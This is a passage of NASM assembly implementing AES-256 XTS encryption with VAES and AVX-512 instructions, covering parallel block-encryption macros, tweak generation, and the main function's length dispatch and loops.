vmovdqu %%ST7, [ptr_plaintext+16*6]
%endif
%endmacro
; encrypt initial blocks of AES
; 1, 2, 3, 4, 5, 6 or 7 blocks are encrypted
; next 8 Tweak values are generated
%macro encrypt_initial 18
%define %%ST1 %1 ; state 1
%define %%ST2 %2 ; state 2
%define %%ST3 %3 ; state 3
%define %%ST4 %4 ; state 4
%define %%ST5 %5 ; state 5
%define %%ST6 %6 ; state 6
%define %%ST7 %7 ; state 7
%define %%ST8 %8 ; state 8
%define %%TW1 %9 ; tweak 1
%define %%TW2 %10 ; tweak 2
%define %%TW3 %11 ; tweak 3
%define %%TW4 %12 ; tweak 4
%define %%TW5 %13 ; tweak 5
%define %%TW6 %14 ; tweak 6
%define %%TW7 %15 ; tweak 7
%define %%T0 %16 ; Temp register
%define %%num_blocks %17
; %%num_blocks blocks encrypted
; %%num_blocks can be 1, 2, 3, 4, 5, 6, 7
%define %%lt128 %18 ; less than 128 bytes
; xor Tweak value
vpxor %%ST1, %%TW1
%if (%%num_blocks>=2)
vpxor %%ST2, %%TW2
%endif
%if (%%num_blocks>=3)
vpxor %%ST3, %%TW3
%endif
%if (%%num_blocks>=4)
vpxor %%ST4, %%TW4
%endif
%if (%%num_blocks>=5)
vpxor %%ST5, %%TW5
%endif
%if (%%num_blocks>=6)
vpxor %%ST6, %%TW6
%endif
%if (%%num_blocks>=7)
vpxor %%ST7, %%TW7
%endif
; ARK
vmovdqa %%T0, [keys]
vpxor %%ST1, %%T0
%if (%%num_blocks>=2)
vpxor %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vpxor %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vpxor %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vpxor %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vpxor %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vpxor %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
%endif
; round 1
vmovdqa %%T0, [keys + 16*1]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*0], twtempl ; next Tweak1 generated
mov [TW + 8*1], twtemph
xor ghash_poly_8b_temp, ghash_poly_8b_temp
%endif
; round 2
vmovdqa %%T0, [keys + 16*2]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*2], twtempl ; next Tweak2 generated
%endif
; round 3
vmovdqa %%T0, [keys + 16*3]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
mov [TW + 8*3], twtemph
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
%endif
; round 4
vmovdqa %%T0, [keys + 16*4]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*4], twtempl ; next Tweak3 generated
mov [TW + 8*5], twtemph
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
%endif
; round 5
vmovdqa %%T0, [keys + 16*5]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*6], twtempl ; next Tweak4 generated
mov [TW + 8*7], twtemph
%endif
; round 6
vmovdqa %%T0, [keys + 16*6]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*8], twtempl ; next Tweak5 generated
mov [TW + 8*9], twtemph
%endif
; round 7
vmovdqa %%T0, [keys + 16*7]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*10], twtempl ; next Tweak6 generated
mov [TW + 8*11], twtemph
%endif
; round 8
vmovdqa %%T0, [keys + 16*8]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*12], twtempl ; next Tweak7 generated
mov [TW + 8*13], twtemph
%endif
; round 9
vmovdqa %%T0, [keys + 16*9]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*14], twtempl ; next Tweak8 generated
mov [TW + 8*15], twtemph
%endif
; round 10
vmovdqa %%T0, [keys + 16*10]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
; round 11
vmovdqa %%T0, [keys + 16*11]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
; round 12
vmovdqa %%T0, [keys + 16*12]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
; round 13
vmovdqa %%T0, [keys + 16*13]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
; round 14
vmovdqa %%T0, [keys + 16*14]
vaesenclast %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenclast %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenclast %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenclast %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenclast %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenclast %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenclast %%ST7, %%T0
%endif
; xor Tweak values
vpxor %%ST1, %%TW1
%if (%%num_blocks>=2)
vpxor %%ST2, %%TW2
%endif
%if (%%num_blocks>=3)
vpxor %%ST3, %%TW3
%endif
%if (%%num_blocks>=4)
vpxor %%ST4, %%TW4
%endif
%if (%%num_blocks>=5)
vpxor %%ST5, %%TW5
%endif
%if (%%num_blocks>=6)
vpxor %%ST6, %%TW6
%endif
%if (%%num_blocks>=7)
vpxor %%ST7, %%TW7
%endif
%if (0 == %%lt128)
; load next Tweak values
vmovdqa %%TW1, [TW + 16*0]
vmovdqa %%TW2, [TW + 16*1]
vmovdqa %%TW3, [TW + 16*2]
vmovdqa %%TW4, [TW + 16*3]
vmovdqa %%TW5, [TW + 16*4]
vmovdqa %%TW6, [TW + 16*5]
vmovdqa %%TW7, [TW + 16*6]
%endif
%endmacro
; Encrypt 8 blocks in parallel
; generate next 8 tweak values
%macro encrypt_by_eight_zmm 6
%define %%ST1 %1 ; state 1
%define %%ST2 %2 ; state 2
%define %%TW1 %3 ; tweak 1
%define %%TW2 %4 ; tweak 2
%define %%T0 %5 ; Temp register
%define %%last_eight %6
; xor Tweak values
vpxorq %%ST1, %%TW1
vpxorq %%ST2, %%TW2
; ARK
vbroadcasti32x4 %%T0, [keys]
vpxorq %%ST1, %%T0
vpxorq %%ST2, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, %%TW1, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm15, %%TW1, 1
vpxord zmm15, zmm15, zmm14
%endif
; round 1
vbroadcasti32x4 %%T0, [keys + 16*1]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 2
vbroadcasti32x4 %%T0, [keys + 16*2]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 3
vbroadcasti32x4 %%T0, [keys + 16*3]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, %%TW2, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm16, %%TW2, 1
vpxord zmm16, zmm16, zmm14
%endif
; round 4
vbroadcasti32x4 %%T0, [keys + 16*4]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 5
vbroadcasti32x4 %%T0, [keys + 16*5]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 6
vbroadcasti32x4 %%T0, [keys + 16*6]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 7
vbroadcasti32x4 %%T0, [keys + 16*7]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 8
vbroadcasti32x4 %%T0, [keys + 16*8]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 9
vbroadcasti32x4 %%T0, [keys + 16*9]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 10
vbroadcasti32x4 %%T0, [keys + 16*10]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 11
vbroadcasti32x4 %%T0, [keys + 16*11]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 12
vbroadcasti32x4 %%T0, [keys + 16*12]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 13
vbroadcasti32x4 %%T0, [keys + 16*13]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 14
vbroadcasti32x4 %%T0, [keys + 16*14]
vaesenclast %%ST1, %%T0
vaesenclast %%ST2, %%T0
; xor Tweak values
vpxorq %%ST1, %%TW1
vpxorq %%ST2, %%TW2
; load next Tweak values
vmovdqa32 %%TW1, zmm15
vmovdqa32 %%TW2, zmm16
%endmacro
; Encrypt 16 blocks in parallel
; generate next 8 tweak values
%macro encrypt_by_16_zmm 10
%define %%ST1 %1 ; state 1
%define %%ST2 %2 ; state 2
%define %%ST3 %3 ; state 3
%define %%ST4 %4 ; state 4
%define %%TW1 %5 ; tweak 1
%define %%TW2 %6 ; tweak 2
%define %%TW3 %7 ; tweak 3
%define %%TW4 %8 ; tweak 4
%define %%T0 %9 ; Temp register
%define %%last_eight %10
; xor Tweak values
vpxorq %%ST1, %%TW1
vpxorq %%ST2, %%TW2
vpxorq %%ST3, %%TW3
vpxorq %%ST4, %%TW4
; ARK
vbroadcasti32x4 %%T0, [keys]
vpxorq %%ST1, %%T0
vpxorq %%ST2, %%T0
vpxorq %%ST3, %%T0
vpxorq %%ST4, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, %%TW3, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm15, %%TW3, 1
vpxord zmm15, zmm15, zmm14
%endif
; round 1
vbroadcasti32x4 %%T0, [keys + 16*1]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 2
vbroadcasti32x4 %%T0, [keys + 16*2]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 3
vbroadcasti32x4 %%T0, [keys + 16*3]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, %%TW4, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm16, %%TW4, 1
vpxord zmm16, zmm16, zmm14
%endif
; round 4
vbroadcasti32x4 %%T0, [keys + 16*4]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 5
vbroadcasti32x4 %%T0, [keys + 16*5]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 6
vbroadcasti32x4 %%T0, [keys + 16*6]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, zmm15, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm17, zmm15, 1
vpxord zmm17, zmm17, zmm14
%endif
; round 7
vbroadcasti32x4 %%T0, [keys + 16*7]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 8
vbroadcasti32x4 %%T0, [keys + 16*8]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 9
vbroadcasti32x4 %%T0, [keys + 16*9]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, zmm16, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm18, zmm16, 1
vpxord zmm18, zmm18, zmm14
%endif
; round 10
vbroadcasti32x4 %%T0, [keys + 16*10]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 11
vbroadcasti32x4 %%T0, [keys + 16*11]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 12
vbroadcasti32x4 %%T0, [keys + 16*12]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 13
vbroadcasti32x4 %%T0, [keys + 16*13]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 14
vbroadcasti32x4 %%T0, [keys + 16*14]
vaesenclast %%ST1, %%T0
vaesenclast %%ST2, %%T0
vaesenclast %%ST3, %%T0
vaesenclast %%ST4, %%T0
; xor Tweak values
vpxorq %%ST1, %%TW1
vpxorq %%ST2, %%TW2
vpxorq %%ST3, %%TW3
vpxorq %%ST4, %%TW4
; load next Tweak values
vmovdqa32 %%TW1, zmm15
vmovdqa32 %%TW2, zmm16
vmovdqa32 %%TW3, zmm17
vmovdqa32 %%TW4, zmm18
%endmacro
section .text
mk_global XTS_AES_256_enc_expanded_key_vaes, function
XTS_AES_256_enc_expanded_key_vaes:
%define ALIGN_STACK
%ifdef ALIGN_STACK
push rbp
mov rbp, rsp
sub rsp, VARIABLE_OFFSET
and rsp, ~63
%else
sub rsp, VARIABLE_OFFSET
%endif
mov [_gpr + 8*0], rbx
%ifidn __OUTPUT_FORMAT__, win64
mov [_gpr + 8*1], rdi
mov [_gpr + 8*2], rsi
vmovdqa [_xmm + 16*0], xmm6
vmovdqa [_xmm + 16*1], xmm7
vmovdqa [_xmm + 16*2], xmm8
vmovdqa [_xmm + 16*3], xmm9
vmovdqa [_xmm + 16*4], xmm10
vmovdqa [_xmm + 16*5], xmm11
vmovdqa [_xmm + 16*6], xmm12
vmovdqa [_xmm + 16*7], xmm13
vmovdqa [_xmm + 16*8], xmm14
vmovdqa [_xmm + 16*9], xmm15
%endif
mov ghash_poly_8b, GHASH_POLY ; load 0x87 to ghash_poly_8b
vmovdqu xmm1, [T_val] ; read initial Tweak value
vpxor xmm4, xmm4 ; for key expansion
encrypt_T xmm0, xmm1, xmm2, xmm3, xmm4, ptr_key2, ptr_key1, keys
%ifidn __OUTPUT_FORMAT__, win64
mov ptr_plaintext, [rsp + VARIABLE_OFFSET + 8*5] ; plaintext pointer
mov ptr_ciphertext, [rsp + VARIABLE_OFFSET + 8*6] ; ciphertext pointer
%endif
cmp N_val, 128
jl _less_than_128_bytes
vpbroadcastq zpoly, ghash_poly_8b
cmp N_val, 256
jge _start_by16
cmp N_val, 128
jge _start_by8
_do_n_blocks:
cmp N_val, 0
je _ret_
cmp N_val, (7*16)
jge _remaining_num_blocks_is_7
cmp N_val, (6*16)
jge _remaining_num_blocks_is_6
cmp N_val, (5*16)
jge _remaining_num_blocks_is_5
cmp N_val, (4*16)
jge _remaining_num_blocks_is_4
cmp N_val, (3*16)
jge _remaining_num_blocks_is_3
cmp N_val, (2*16)
jge _remaining_num_blocks_is_2
cmp N_val, (1*16)
jge _remaining_num_blocks_is_1
;; _remaining_num_blocks_is_0:
vmovdqa xmm8, xmm0
vmovdqa xmm0, xmm9
jmp _steal_cipher
_remaining_num_blocks_is_7:
mov tmp1, -1
shr tmp1, 16
kmovq k1, tmp1
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu8 zmm2 {k1}, [ptr_plaintext+16*4]
add ptr_plaintext, 16*7
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 1
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu8 [ptr_ciphertext+16*4] {k1}, zmm2
add ptr_ciphertext, 16*7
vextracti32x4 xmm8, zmm2, 0x2
vextracti32x4 xmm0, zmm10, 0x3
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_6:
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu8 ymm2, [ptr_plaintext+16*4]
add ptr_plaintext, 16*6
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 1
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu8 [ptr_ciphertext+16*4], ymm2
add ptr_ciphertext, 16*6
vextracti32x4 xmm8, zmm2, 0x1
vextracti32x4 xmm0, zmm10, 0x2
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_5:
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu xmm2, [ptr_plaintext+16*4]
add ptr_plaintext, 16*5
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 1
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu [ptr_ciphertext+16*4], xmm2
add ptr_ciphertext, 16*5
movdqa xmm8, xmm2
vextracti32x4 xmm0, zmm10, 0x1
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_4:
vmovdqu8 zmm1, [ptr_plaintext+16*0]
add ptr_plaintext, 16*4
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 1
vmovdqu8 [ptr_ciphertext+16*0], zmm1
add ptr_ciphertext, 16*4
vextracti32x4 xmm8, zmm1, 0x3
vextracti32x4 xmm0, zmm10, 0x0
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_3:
vextracti32x4 xmm10, zmm9, 1
vextracti32x4 xmm11, zmm9, 2
vmovdqu xmm1, [ptr_plaintext+16*0]
vmovdqu xmm2, [ptr_plaintext+16*1]
vmovdqu xmm3, [ptr_plaintext+16*2]
add ptr_plaintext, 16*3
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 3, 1
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
add ptr_ciphertext, 16*3
vmovdqa xmm8, xmm3
vextracti32x4 xmm0, zmm9, 3
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_2:
vextracti32x4 xmm10, zmm9, 1
vmovdqu xmm1, [ptr_plaintext+16*0]
vmovdqu xmm2, [ptr_plaintext+16*1]
add ptr_plaintext, 16*2
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 2, 1
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
add ptr_ciphertext, 16*2
vmovdqa xmm8, xmm2
vextracti32x4 xmm0, zmm9, 2
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_1:
vmovdqu xmm1, [ptr_plaintext]
add ptr_plaintext, 16
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 1, 1
vmovdqu [ptr_ciphertext], xmm1
add ptr_ciphertext, 16
vmovdqa xmm8, xmm1
vextracti32x4 xmm0, zmm9, 1
and N_val, 15
je _ret_
jmp _steal_cipher
_start_by16:
; Make first 7 tweek values
vbroadcasti32x4 zmm0, [TW]
vbroadcasti32x4 zmm8, [shufb_15_7]
mov tmp1, 0xaa
kmovq k2, tmp1
; Mult tweak by 2^{3, 2, 1, 0}
vpshufb zmm1, zmm0, zmm8 ; mov 15->0, 7->8
vpsllvq zmm4, zmm0, [const_dq3210] ; shift l 3,2,1,0
vpsrlvq zmm2, zmm1, [const_dq5678] ; shift r 5,6,7,8
vpclmulqdq zmm3, zmm2, zpoly, 0x00
vpxorq zmm4 {k2}, zmm4, zmm2 ; tweaks shifted by 3-0
vpxord zmm9, zmm3, zmm4
; Mult tweak by 2^{7, 6, 5, 4}
vpsllvq zmm5, zmm0, [const_dq7654] ; shift l 7,6,5,4
vpsrlvq zmm6, zmm1, [const_dq1234] ; shift r 1,2,3,4
vpclmulqdq zmm7, zmm6, zpoly, 0x00
vpxorq zmm5 {k2}, zmm5, zmm6 ; tweaks shifted by 7-4
vpxord zmm10, zmm7, zmm5
; Make next 8 tweek values by all x 2^8
vpsrldq zmm13, zmm9, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm11, zmm9, 1
vpxord zmm11, zmm11, zmm14
vpsrldq zmm15, zmm10, 15
vpclmulqdq zmm16, zmm15, zpoly, 0
vpslldq zmm12, zmm10, 1
vpxord zmm12, zmm12, zmm16
_main_loop_run_16:
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu8 zmm2, [ptr_plaintext+16*4]
vmovdqu8 zmm3, [ptr_plaintext+16*8]
vmovdqu8 zmm4, [ptr_plaintext+16*12]
add ptr_plaintext, 256
encrypt_by_16_zmm zmm1, zmm2, zmm3, zmm4, zmm9, zmm10, zmm11, zmm12, zmm0, 0
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu8 [ptr_ciphertext+16*4], zmm2
vmovdqu8 [ptr_ciphertext+16*8], zmm3
vmovdqu8 [ptr_ciphertext+16*12], zmm4
add ptr_ciphertext, 256
sub N_val, 256
cmp N_val, 256
jge _main_loop_run_16
cmp N_val, 128
jge _main_loop_run_8
vextracti32x4 xmm0, zmm4, 0x3 ; keep last crypted block
jmp _do_n_blocks
_start_by8:
; Make first 7 tweek values
vbroadcasti32x4 zmm0, [TW]
vbroadcasti32x4 zmm8, [shufb_15_7]
mov tmp1, 0xaa
kmovq k2, tmp1
; Mult tweak by 2^{3, 2, 1, 0}
vpshufb zmm1, zmm0, zmm8 ; mov 15->0, 7->8
vpsllvq zmm4, zmm0, [const_dq3210] ; shift l 3,2,1,0
vpsrlvq zmm2, zmm1, [const_dq5678] ; shift r 5,6,7,8
vpclmulqdq zmm3, zmm2, zpoly, 0x00
vpxorq zmm4 {k2}, zmm4, zmm2 ; tweaks shifted by 3-0
vpxord zmm9, zmm3, zmm4
; Mult tweak by 2^{7, 6, 5, 4}
vpsllvq zmm5, zmm0, [const_dq7654] ; shift l 7,6,5,4
vpsrlvq zmm6, zmm1, [const_dq1234] ; shift r 1,2,3,4
vpclmulqdq zmm7, zmm6, zpoly, 0x00
vpxorq zmm5 {k2}, zmm5, zmm6 ; tweaks shifted by 7-4
vpxord zmm10, zmm7, zmm5
_main_loop_run_8:
; load plaintext
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu8 zmm2, [ptr_plaintext+16*4]
add ptr_plaintext, 128
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 0
; store ciphertext
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu8 [ptr_ciphertext+16*4], zmm2
add ptr_ciphertext, 128
sub N_val, 128
cmp N_val, 128
jge _main_loop_run_8
vextracti32x4 xmm0, zmm2, 0x3 ; keep last crypted block
jmp _do_n_blocks
_steal_cipher_next:
; generate next Tweak value
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
